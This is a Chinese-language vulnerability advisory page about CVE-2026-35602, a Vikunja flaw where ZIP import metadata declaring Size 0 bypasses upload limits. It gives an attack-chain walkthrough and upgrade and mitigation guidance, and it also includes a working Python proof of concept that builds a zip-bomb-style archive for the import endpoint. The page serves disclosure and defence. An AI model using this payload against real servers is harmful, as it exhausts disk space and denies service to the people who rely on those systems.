IPBUF安全漏洞报告
English
CVE-2026-35602 CVSS 5.4 中危

CVE-2026-35602 Vikunja文件大小限制绕过漏洞

披露日期: 2026-04-10

漏洞信息

漏洞编号
CVE-2026-35602
漏洞类型
限制绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

限制绕过VikunjaDoS文件上传逻辑漏洞

漏洞概述

Vikunja是一个开源的自托管任务管理平台。在2.3.0版本之前,其文件导入端点存在安全漏洞。系统错误地信任了导入ZIP包内JSON元数据中的Size字段,而未校验解压后文件的实际内容长度。攻击者可将Size设为0,同时在ZIP中包含巨大的压缩文件,从而绕过配置的最大文件大小限制。

技术细节

该漏洞源于Vikunja在处理文件导入时的逻辑缺陷。当用户上传ZIP文件进行任务导入时,系统解析ZIP包内的`project.json`元数据,并直接使用其中声明的`Size`字段来执行文件大小限制检查,而未在解压后验证文件的实际占用空间。攻击者可利用这一差异构造恶意ZIP包,在元数据中将Size伪造为0以通过前端校验,但实际包含高压缩比的巨大文件(如Zip Bomb)。一旦上传成功,服务器在解压过程中会释放大量数据,可能导致磁盘空间迅速耗尽(DoS攻击)或服务器资源枯竭,从而严重影响系统的可用性。

攻击链分析

STEP 1
侦察
确定目标运行的是Vikunja 2.3.0之前的版本,并确认文件导入功能已启用。
STEP 2
武器化
构造一个恶意的ZIP文件,其中包含一个声明Size为0的project.json文件,以及一个实际包含大量数据(如全零字节)的高压缩比文件。
STEP 3
交付
攻击者通过Vikunja的Web界面上传该恶意ZIP文件至文件导入端点。
STEP 4
利用
服务器解析ZIP包中的JSON元数据,发现Size为0,错误地认为文件符合大小限制并接受上传。
STEP 5
影响
服务器解压ZIP文件,巨大的文件内容被写入磁盘,导致磁盘空间耗尽或系统资源枯竭,引发拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import os # Create a malicious zip file to bypass size check zip_filename = "malicious_vikunja_import.zip" large_file_size = 100 * 1024 * 1024 # Target 100MB uncompressed size with zipfile.ZipFile(zip_filename, 'w', zipfile.ZIP_DEFLATED) as zf: # 1. Create project.json metadata with Size set to 0 # This bypasses the server-side size enforcement check metadata = '{"files": [{"file": "data.bin", "size": 0}]}' zf.writestr("project.json", metadata) # 2. Add a large file that compresses well (e.g., all zeros) # When decompressed on the server, this will consume 100MB of disk space # despite the metadata claiming size 0. # Creating a buffer of zeros for high compression ratio zero_buffer = bytes(large_file_size) zf.writestr("data.bin", zero_buffer) print(f"Generated {zip_filename}. Upload this to the Vikunja import endpoint.")

影响范围

Vikunja < 2.3.0

防御指南

临时缓解措施
建议管理员立即将Vikunja升级至2.3.0或更高版本以彻底修复此漏洞。如果暂时无法升级,应在应用防火墙(WAF)或反向代理层添加规则,对上传的压缩包进行解压模拟检测,拦截解压后体积异常的请求。此外,可考虑临时禁用文件导入功能以防止资源耗尽攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表